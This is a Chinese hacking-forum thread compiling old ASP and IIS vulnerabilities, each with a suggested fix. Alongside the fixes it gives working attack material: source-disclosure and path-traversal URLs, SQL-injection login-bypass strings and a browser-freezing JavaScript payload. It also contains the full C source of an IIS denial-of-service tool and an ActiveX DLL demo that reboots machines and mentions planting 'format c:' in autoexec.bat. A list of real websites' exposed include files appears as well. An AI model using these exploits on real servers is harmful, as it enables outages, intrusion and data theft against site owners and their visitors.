论坛: 黑客进阶 标题: ASP漏洞系列 复制本贴地址    
作者: abctm [abctm]    版主   登录
ASP漏洞分析和解决方法
------------------------
ASP漏洞分析和解决方法
1 在ASP程序后加个特殊符号,能看到ASP源程序
  受影响的版本:
  win95+pws
  IIS3.0
  98+pws4 不存在这个漏洞。
  IIS4.0以上的版本也不存在这个漏洞。
  问题描述:
  这些特殊符号包括小数点,%81, ::$DATA。比如: http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件内容)
  那么在安装有IIS3.0和win95+PWS的浏览中就很容易看到somepage.asp的源程序。究竟是什么原因造成了这种可怕的漏洞呢?
究其根源其实是 Windows NT 特有的文件系统在做怪。有一点常识的人都知道在 NT 提供了一种完全不同于 FAT 的文件系统:
NTFS,这种被称之为新技术文件系统的技术使得 NT 具有了较高的安全机制,但也正是因为它而产生了不少令人头痛的隐患。大家
可能不知道, NTFS 支持包含在一个文件中 的多数据流,而这个包含了所有内容的主数据流被称之为"DATA",因此使得在浏览器
里直接访问 NTFS 系统的这个特性而轻易的捕获在文件中的脚本程序成为了可能。然而 直接导致 ::$DATA 的原因是由于 IIS 在
解析文件名的时候出了问题,它没有很好地规范文件名。
  解决方法和建议:
  如果是Winodws NT用户,安装IIS4.0或者IIS5.0,Windows2000不存在这个问题。如果是win95用户,安装WIN98和PWS4.0。


2 ACCESS mdb 数据库有可能被下载的漏洞
  问题描述:
  在用ACCESS做后台数据库时,如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称,那么他能够
下载这个ACCESS数据库文件,这是非常危险的。比如:如果你的ACCESS数据库book.mdb放在虚拟目录下的database目录下,那么有人在浏览器中打入:
http:// someurl/database/book.mdb
  如果你的book.mdb数据库没有事先加密的话,那book.mdb中所有重要的数据都掌握在别人的手中。
  解决方法:
  (1) 为你的数据库文件名称起个复杂的非常规的名字,并把他放在几目
录下。所谓"非常规",打个比方:比如有个数据库要保存的是有关书籍的信息,可不要把他起个"book.mdb"的名字,起个怪怪的名称,比如d34ksfslf.mdb,再把他放在如
./kdslf/i44/studi/ 的几层目录下,这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
  (2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
  假如万一给人拿到了源程序,你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源,再在程序中这样写:conn.open "shujiyuan"
  (3)使用ACCESS来为数据库文件编码及加密。首先在选取"工具->安
全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被
编码,然后存为employer1.mdb..
  要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
  接下来我们为数据库加密,首先以打开经过编码了的employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码",接着输入密码
即可。
  为employer1.mdb设置密码之后,接下来如果再使用ACCEES数据库文件时,则ACCESS会先要求输入密码,验证正确后才能够启动数据库。
  不过要在ASP程序中的connection对象的open方法中增加PWD的参数即可,例如:
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
这样即使他人得到了employer1.mdb文件,没有密码他是无法看到employer1.mdb的.


3 code.asp文件会泄漏ASP代码
  问题描述:
  举个很简单的例子,在微软提供的 ASP1.0 的例程里有一个 .asp 文件,专门用来查看其它 .asp 文件的源代码,该文件为ASPSamp/Samples/code.asp。如果有人
把这个程序上传到服务器,而服务器端没有任何防范措施的话,他就可以很容易地查看他人的程序。例如 :
  code.asp?source=/directory/file.asp
  不过这是个比较旧的漏洞了,相信现在很少会出现这种漏洞。
  下面这命令是比较新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
  最大的危害莫过于asa文件可以被上述方式读出;数据库密码以明文形式暴露在黑客眼前;
  问题解决或建议:
  对于IIS自带的show asp code的asp程序文件,删除该文件或者禁止访问该目录即可


4、filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞
  问题描述:
  IIS3、 IIS4 的 ASP 的文件操作都可以通过 filesystemobject 实现,包括文本文件的读写目录操作、文件的拷贝改名删除等,但是这个强大的功能也留下了非常
危险的 "后门"。利用 filesystemobjet 可以篡改下载 fat 分区上的任何文件。即使是 ntfs 分区,如果权限没有设定好的话,同样也能破坏,一不小心你就可能遭受"
灭顶之灾 "。遗憾的是很多 webmaster 只知道让 web 服务器运行起来,很少对 ntfs 进行权限 设置,而 NT 目录权限的默认设置偏偏安全性又低得可怕。因此,如果
你是Webmaster,建议你密切关注服务器的设置,尽量将 web 目录建在 ntfs 分区上,目录不要设定 everyone full control,即使是是管理员组的成员一般也没什么
必要 full control,只要有读取、更改权限就足够了。 也可以把filesystemobject的组件删除或者改名。


5、输入标准的HTML语句或者javascript语句会改变输出结果
  问题描述:
  在输入框中打入标准的HTML语句会得到什么相的结果呢?
  比如一个留言本,我们留言内容中打入:<font size=10>你好!</font>
  如果你的ASP程序中没有屏蔽html语句,那么就会改变"你好"字体的大小。在留言本中改变字体大小和贴图有时并不是什么坏事,反而可以使留言本生动。但是如果在输
入框中写个 javascript 的死循环,比如:<a herf="http://someurl"onMouseover="while(1){window.close('/')}">特大新闻</a>
  那么其他查看该留言的客人只要移动鼠标到"特大新闻",上就会使用户的浏览器因死循环而死掉。
  解决方法和建议:
  编写类似程序时应该做好对此类操作的防范,譬如可以写一段程序判断客户端的输入,并屏蔽掉所有的 HTML、 Javascript语句。


6、ASP程序密码验证漏洞
  漏洞描述:
  很多网站把密码放到数据库中,在登陆验证中用以下sql,(以asp为例)
sql="select * from user where username='"&username&"'and pass='"& pass &'"
  此时,您只要根据sql构造一个特殊的用户名和密码,如:ben' or '1'='1就可以进入本来你没有特权的页面。再来看看上面那个语句吧: sql="select * from
user where username='"&username&"'and pass='"& pass&'"
  此时,您只要根据sql构造一个特殊的用户名和密码,如:ben' or '1'='1
这样,程序将会变成这样: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&"
or 是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立).那么在这行语句中,原语句的"and"
验证将不再继续,而因为"1=1"和"or"令语句返回为真值。
  另外我们也可以构造以下的用户名:
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
  相应的在浏览器端的用户名框内写入:aa' or username<>'aa 口令框内写入:aa' or pass<>'aa,注意这两个字符串两头是没有'的。这样就可以成功的骗过系统而
进入。
  后一种方法理论虽然如此,但要实践是非常困难的,下面两个条件都必须具备。
  1. 你首先要能够准确的知道系统在表中是用哪两个字段存储用户名和口令的,只有这样你才能准确的构造出这个进攻性的字符
串。实际上这是很难猜中的。
  2.系统对你输入的字符串不进行有效性检查。
  问题解决和建议:
  对输入的内容验证和"'"号的处理。


7、IIS4或者IIS5中安装有INDEX SERVER服务会漏洞ASP源程序
  问题描述:
  在运行IIS4或者IIS5的Index Server,输入特殊的字符格式可以看到ASP源程序或者其它页面的程序。甚至以及添打了最近关
于参看源代码的补丁程序的系统,或者没有.htw文件的系统,一样存在该问题。获得asp程序,甚至global.asa文件的源代码,无疑对系统是一个非常重大的安全隐患。往
往这些代码中包含了用户密码和ID,以及数据库的源路径和名称等等。这对于攻击者收集系统信息,进行下一步的入侵都是非常重要的。
通过构建下面的特殊程序可以参看该程序源代码: http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
  这样只是返回一些html格式的文件代码,但是当你添加%20到CiWebHitsFile的参数后面,如下: http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
  这将获得该程序的源代码。
 (注意:/default.asp是以web的根开始计算。如某站点的http:///welcome/welcome.asp
那么对应就是: http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full
)
  由于'null.htw'文件并非真正的系统映射文件,所以只是一个储存在系统内存中的虚拟文件。哪怕你已经从你的系统中删除了所有的真实的.htw文件,但是由于对
null.htw文件的请求默认是由webhits.dll来处理。所以,IIS仍然收到该漏洞的威胁。
  问题解决或者建议:
  如果该webhits提供的功能是系统必须的,请下载相应的补丁程序。如果没必要,请用IIS的MMC管理工具简单移除.htw的映象文件。
补丁程序如下:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726


8、绕过验证直接进入ASP页面。
  漏洞描述:
  如果用户知道了一个ASP页面的路径和文件名,而这个文件又是要经过验证才能进去的,但是用户直接输入这个ASP页面的文件名,就有可能通过绕过验证.比如:我在
一些网站上这样试过:首先关闭所有的浏览器,窗口,输入:http://someurl/system_search.asp?page=1
  就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断,比如:
判断session("system_name"),如果不为空时就能进入,这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞,如果攻击者先用一个合法的帐号
,或者在本机上生成一个session,如session("system_name")="admi",那因为
session("system_name")不为空,这样也能直接进入绕过密码,直接进入管理员页面。
  解决方法:
  在需要验证的ASP页面开头处进行相应的处理。比如:可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。


9、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击
  漏洞描述:
  当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web服务器的响应速度,或许会使其暂时停止响应。
  受影响的版本:
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
  漏洞测试程序如下: http://202.96.168.51/download/exploits/iisdos.exe
  源代码如下: http://202.96.168.51/download/exploits/iisdos.zip
  测试程序:
  只要打入:iisdos<***.***.**.**>就能攻击对方web服务器
  问题解决:
InternetInformationServer4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
  更多的信息: http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021: http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
  相关连接 http://www.ussrback.com


10、 IIS web server DOS
  漏洞描述:
  默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。
"MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer"
设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS
server实行DOS攻击:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

攻击结果将导致NT系统的CPU占用率达到 100%
  解决方案
  运行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
  设置为十进制
  具体数值设置为你想设定的IIS允许接受的URL最大长度。
  CNNS的设置为256


11、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
  漏 洞 描 述:
  Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。
  影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
  漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
  在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。


12、ASP主页.inc文件泄露问题
  漏洞描述:
  受影响的版本:任何提供ASP服务的系统
  远程:YES / 本地:YES
  内容摘要:
  当存在asp的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关
文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
 具体操作过程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ," 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码,其中可能会有某些敏感信息
 漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑
  解决方案:
  - 搜索引擎应该不索引有 asp 运行时刻错误的页
  - 程序员应该在网页发布前对其进行彻底的调试
  - 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
  asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观
看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。


13、利用Activer server explorer可对文件进行读写访问
  漏洞描述:
  chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件,如
.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。
  Activer server explorer要求填写相对路径或者绝对路径,但是假如:有一个攻击者把Activer server explorer上传到目标服务器上的某个目录,并且这个目录
支持ASP的话,那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,
并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器,把Activer server explorer先传上你申请的免费主页空间,再通过各种方法得到目标服务器的路径
,(比如可通过漏洞:"请求不存在的扩展名为idq或ida 文件,会暴露文件在服务器上的物理地址.").或者直接在相对路径上填".",一般是默认。这样攻击者就能任意修
改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。
  所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
  漏洞解决方法
  其实Activer server explorer就是利用了上面讲的漏洞 4 filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。
  那么我们如何才能限制用户使用FileSystemObject对象呢?一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方
法如下:
  在MS-DOS状态下面键入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在实际操作的时候要更改成为你本地的实际路径)
  但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能
两全其美呢?
  我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
  方法如下:
  查找注册表中
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
  将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
  这样,在ASP就必须这样引用这个对象了:
  Set fso = CreateObject("Scripting.FileSystemObject2")
  而不能使用:
  Set fso = CreateObject("Scripting.FileSystemObject")
  如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
  只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,
而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!


14、 IIS4.0/IIS5.0超长文件名请求存在漏洞
  漏洞描述:
  受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
  当在一个已知的文件名后加230个"%20"再加个.htr,会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如: http://target/filename%20<重复230次>.htr
这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存,才能起作用。
  解决方法:
  安装补丁:
Microsoft IIS 5.0: http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0: http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe


地主 发表时间: 04-02-10 22:16

回复: abctm [abctm]   版主   登录
ASP主件中的安全问题

Microsoft推出的asp以简单,易用,多功能,可扩充性等强大功能得到了网友和大多数网管的青睐,大有完全替代cgi的趋势,但是在这里也存在一些问题,如果在使用
asp的话,你网络的安全同时也大大降低了!下面为大家举一个例子,请按照下面的步骤:
1,下载这个文件http://home.gbsource.net/xuankong/dll.zip,解压缩后吧其中的test.dll文件拷贝到c:\windows\system(如果你使用的是NT的话,请拷贝到相
应的目录中);
2,接下来打开“开始/运行”菜单输入“regsvr32test.dll”命令;
3,拷贝解压缩后的文件包中的那个index.asp到你的服务器目录(如果你使用的是PWS调试可以拷贝到“c:\inetpub\wwwroot“,NT请拷贝到相应的目录);
4,换一台机器用IE浏览index.asp文件看一看(你看到的是出错代码,但是实际上程序已经运行了),你再返回你的机器看一看c:\下面是不是多了一个文件?一个名为
xuankong.dat的文件(其实如果我愿意,你的c:\autoexec.bat文件页可以被我打开并写进去一些像"format c:/q/u"等命令,那么等你下次重新启动的时候,嘿嘿。)
下面我们来看一下到底是怎么回事,你刚才拷贝的那些dll文件其实是我使用Visul Basic5开发的一个主件:
1,打开VB5新建一个“ActiveX.dll”文件,吧下面的代码输入进去:
Private Declare Function ExitWindowsEx Lib "user32"_
(ByVal uFlags As Long,ByVal dwReserved As Long)_
As Long
Sub Xuankong() "请不要加上“private”
a$=InputBox("请输入你的姓名,如果你输入的是"xuankong""+Chr(13)+Chr(10)+
"则会在你的系统中生成一个"xuankong"文件"+Chr(10)+Chr(13)+
"否则你的机器可能会重起","请输入","xuankong")
If a$="xuankong" Then
Open "c:\xuankong.dat" For Append As #Write#1,"我的朋友,这是一个asp主件测试程序"
#Write#1,"hello world!this is a test"
#Write#1,"如果你看到这个文件测试就成功!"
else
ExitWindowsEx&H43,0'使用API函数重新启动机器
End if
Close #1
End sub
2,把工程名改为dll,类模块改为test,然后把这个工程生成dll文件到c:\windows\system目录下面。
3,新建一个index.asp文件下面的代码输入进去:
<html><head><title>这是一个关于asp主件的测试</title></head>
<body>
<% set rs=server.createobject("dll.test") %>
<% set rs1=rs.xuankong rs1.execute %>
</body>
</html>
4,拷贝index.asp到你的服务器内,按照上面的方法调试!
上面所说的是asp主件的安全问题!另外如果有些作者再写asp主件的时候不小心留下系统bug!那就更加不容易发现了!
 


B1层 发表时间: 04-02-10 22:16

回复: abctm [abctm]   版主   登录
Carello Web 使 ASP 源码暴露 (APP,缺陷)
涉及程序:
Carello Web on NT running IIS
描述:
Carello Web 使 ASP 源码暴露
详细:
Carello Web 是一个支持网络购物的软件。
Carello Web 存在一个安全问题使远程攻击者能在系统上建立一个文件,如果这个文件已经存在就会复制一份,并在文件的扩展名
之后有点改动。如:123.asp 会改为 123.asp1 由于扩展名改变,文件会以文本形式被攻击者读取。攻击者能通过 ASP 源程序获得系统密码。
用法举例: http://charon/scripts/Carello/add.exe?C:\inetpub\iissamples\default\samples.asp
将建立一个 samples.asp1 并可以读取。攻击者需要知道文件的全路径并在 NTFS 允许匿名 Internet 账号写入的情况下才能成功。
解决方案:
下载新版本。
相关站点: http://www.cerberus-infosec.co.uk/
from: http://www.cnns.net/article/db/353.htm


B2层 发表时间: 04-02-10 22:17

回复: abctm [abctm]   版主   登录
MS IIS server的ASP安全缺陷 (MS,缺陷)

涉及程序:
Microsoft IIS server
描述:
IIS使有权上传和使用asp程序的用户能更改任何文件
详细:
这是IIS的一个非常严重的漏洞,即使是IIS4.0,仍然没有补上这个漏洞: 你建立
如http://www.cnns.net/frankie/text/aspwrite.txt这样一个简单的asp程序取名为write.asp,注意,程序不允许换行!
然后上传到任何一个web目录中(允许脚本执行),如: http://www.xxx.com/frankie/write.asp
然后在浏览器中输入该地址
这样,将替换首页! 红字黑底,显示: This page was hacked by small-hacker!
解决方案:
没有相关补丁,只能禁止非管理员的用户上传asp程序并执行脚本
安全建议:
管理员应该知道这样一个事实:如果给用户开放ASP上传和脚本执行权限,等于把整个系统的控制权交给了用户。所以绝不要轻易开
放asp的权限给一般用户
相关下载: http://www.cnns.net/frankie/text/aspwrite.txt

B3层 发表时间: 04-02-10 22:19

回复: abctm [abctm]   版主   登录
MS IIS虚拟主机ASP源码泄露 (MS,缺陷)

涉及程序:
MS windows NT/IIS
描述:
共享目录导致ASP程序源码泄露
详细:
如果一个虚拟主机的根目录是映射到一网络共享目录,通过在ASP或者HTR扩展名后增加某些特殊字符,IIS服务器将反送出这个asp
或者htr文件的全部源代码。如果IIS的文件安装在本地驱动器上,就没有该泄漏源码这个问题。
在虚拟目录文件中的asp文件后增加一个符号"\",IIS就会泄漏该asp文件源代码。
例如,如果虚拟目录/asp/映射到共享文件夹的\\server1\share目录,在该共享目录下存在asp程序:\\serve1
\share\index.asp
通过: http://www.xxx.com/asp/index.asp或者 telnet www.xxx.com 80
GET /asp/index.asp\ HTTP/1.1
将会返回index.asp的源代码。
在国内,似乎很少有人将web目录映射到共享资源上
解决方案:
建议不要用共享资源的方式建立ASP站点
Microsoft IIS 5.0(中文版本):
Microsoft patch Q249599_W2K_SP1_X86_cn http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/CN/Q249599_W2K_SP1_X86_cn.EXE
Microsoft IIS 5.0(英文版本):
Microsoft patch Q249599_W2K_SP1_X86_en http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
from:http://www.cnns.net/article/db/205.htm


B4层 发表时间: 04-02-10 22:20

回复: abctm [abctm]   版主   登录
给你的FileSystemObject对象加把锁

  现在国内提供支持ASP的免费空间越来越多了,对于ASP爱好者来说无疑是个好的势头,但是很多提供免费ASP空间的站点都没有对FileSystemObject这个对
象做出任何限制,这也就导致了安全问题。比如,今年愚人节“东莞视窗”所有的主页都遭到了黑客的攻击,其实做这件事情很简单,就是使用FileSystemObject对象,
具体的程序就不再讨论了。而另外一个比较有名的提供ASP空间的站点“网界”同样也存在这个安全漏洞,很容易遭到攻击。不仅仅是这些提供免费空间的站点存在这个
安全漏洞,很多国内的虚拟主机提供商同样也存在这个安全隐患。这样给商业用户带来的危害就很大了。
  那么我们如何才能限制用户使用FileSystemObject对象呢?一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方
法如下:
  在MS-DOS状态下面键入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在实际操作的时候要更改成为你本地的实际路径)
  但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟
我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么
有没有两全其美的方法呢?有!具体方法如下:
  我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
  方法如下:
  查找注册表中
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
  将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
  这样,在ASP就必须这样引用这个对象了:
  Set fso = CreateObject("Scripting.FileSystemObject2")
  而不能使用:
  Set fso = CreateObject("Scripting.FileSystemObject")
  如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
  呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject
对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
(以上方法在Win98+PWS以及WinNT4+IIS4环境下测试通过)


B5层 发表时间: 04-02-10 22:21

回复: abctm [abctm]   版主   登录
跨站Script攻击和防范 
第一部分:跨站Script攻击
每当我们想到黑客的时候,黑客往往是这样一幅画像:一个孤独的人,悄悄进入别人的服务器中,进行破坏或者窃取别人的秘密资料。也许他会更改我们的主页,甚者会窃
取客户的信用卡号和密码。另外,黑客还会攻击访问我们网站的客户。与此同时,我们的服务器也成了他的帮凶。微软称这种攻击为“跨站script”攻击。而这种攻击大多
数都发生在网站动态产生网页的时侯,但黑客的目标并不是你的网站,而是浏览网站的客户。
跨站script攻击的说明
  在一本名为<<ADVISORY CA--2000-02>>的杂志中,CERT警告大家:如果服务器对客户的输入不进行有效验证,黑客就会输入一些恶意的HTML代码,当这些HTML代码输
入是用于SCRIPT程序,他们就能利用它来进行破坏,如插入一些令人厌恶的图片或声音等,同时,也能干扰了客户正确浏览网页。
  我们知道,有些朋友曾经被诱导到一些可疑的免费网站,他们得到的仅仅是10到20个小的窗口,这些窗口常常伴随着由JAVA 或 JAVASCRIPT生成的失效安钮,这被称
为鼠标陷阱。关闭这些窗口是徒劳的,每当我们关闭一个窗口,又会有10几个窗口弹出。这种情况常常发生在管理员没在的时侯发生。鼠标事件是黑客利用跨站SCRIPT方法
攻客户的典型范例。
